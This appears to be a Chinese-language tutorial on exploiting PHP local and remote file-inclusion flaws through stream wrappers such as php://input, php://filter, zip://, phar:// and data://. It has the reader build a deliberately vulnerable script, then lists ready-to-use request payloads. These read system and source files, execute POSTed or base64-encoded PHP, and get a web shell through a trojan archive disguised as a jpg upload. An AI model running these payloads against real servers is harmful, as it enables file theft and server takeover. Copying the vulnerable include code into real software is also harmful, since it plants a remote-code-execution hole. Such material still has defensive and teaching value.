- file:// — 訪問本地文件系統
- http:// — 訪問 HTTP(s) 網址
- ftp:// — 訪問 FTP(s) URLs
- php:// — 訪問各個輸入/輸出流(I/O streams)
- zlib:// — 壓縮流
- data:// — 數據(RFC 2397)
- glob:// — 查找匹配的文件路徑模式
- phar:// — PHP 歸檔
- ssh2:// — Secure Shell 2
- rar:// — RAR
- ogg:// — 音頻流
- expect:// — 處理交互式的流
首先構造一個具有文件包含漏洞的php文件。
require($_GET['file']);
其次使用偽協議包含文件並getshell:
1、file://:訪問本地文件系統。
例如。http://localhost/test.php?file=file://C:\Windows\System32\drivers\etc\hosts
2、http://:訪問http或https的網址
例如:http://localhost/test.php?file=http://www.baidu.com
http://偽協議必須 allow_url_fopen與allow_url_include同時開啟。缺一不可。
此偽協議就是遠程文件包含漏洞。可通過其他主機getshell。例如:http://localhost/test.php?file=http://localhost/1.php
3、php://訪問各個輸入輸出流
php://偽協議,主要為php://input與php://filter
php://input:將POST輸入流當做PHP代碼執行。其只受 allow_url_include參數的影響,allow_url_fopen開關與此偽協議無關。
例如:開啟allow_url_include參數,關閉allow_url_fopen參數。
訪問:http://localhost/test.php?file=php://input POST:<?php phpinfo();
php://filter偽協議:不受 allow_url_fopen與allow_url_include參數的影響
此協議主要用於讀取php源代碼時會用到。
例如:http://localhost/test.php?file=php://filter/read=convert.base64-encode/resource=./1.php
也就是說,將一個PHP文件通過base64編碼讀出。倘若不加read讀取鏈,則會將其中內容當做PHP代碼執行,倘若如此,則無法讀取PHP文件內容,於是在讀取鏈中將其編碼。
例如:php://filter/resource=./1.txt
所以說,php://filter此協議不受參數影響,即可讀取文件內容,也可包含惡意文件直接getshell。
例如:將1.txt修改為
菜刀連接:http://localhost/test.php?file=php://filter/resource=./1.txt
getshell成功
4、zip://偽協議
試想倘若有一種情況限制文件后綴為php文件,並且上傳文件只能傳jpg文件。allow_url_fopen參數與allow_url_include參數全部off的情況下。
<?php $file = $_GET['file'] . '.php'; include($file); ?>
貌似之前所用偽協議都無效,比較舊的版本可以使用00截斷,路勁長度截斷等。但是若無截斷漏洞該如何?
此種情況下可以使用zip偽協議,將木馬放入壓縮包中,再將壓縮包后綴修改為上傳白名單,然后使用zip偽協議進行包含。
例如:zip://絕對路徑\需要解壓縮的文件%23子文件名
5、phar://偽協議
同zip偽協議。故上述問題此協議也可解決。
phar://cc.jpg/cc,與zip協議不同的是zip協議為絕對路徑,而phar協議為相對路徑。
6、data://偽協議
可以看到,此協議是受 allow_url_include 限制的。所以 allow_url_fopen參數與allow_url_include都需開啟。
data://text/plain,<?php phpinfo();?>。test/plain, 后面的值會被當做php代碼執行。
也可如此:data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=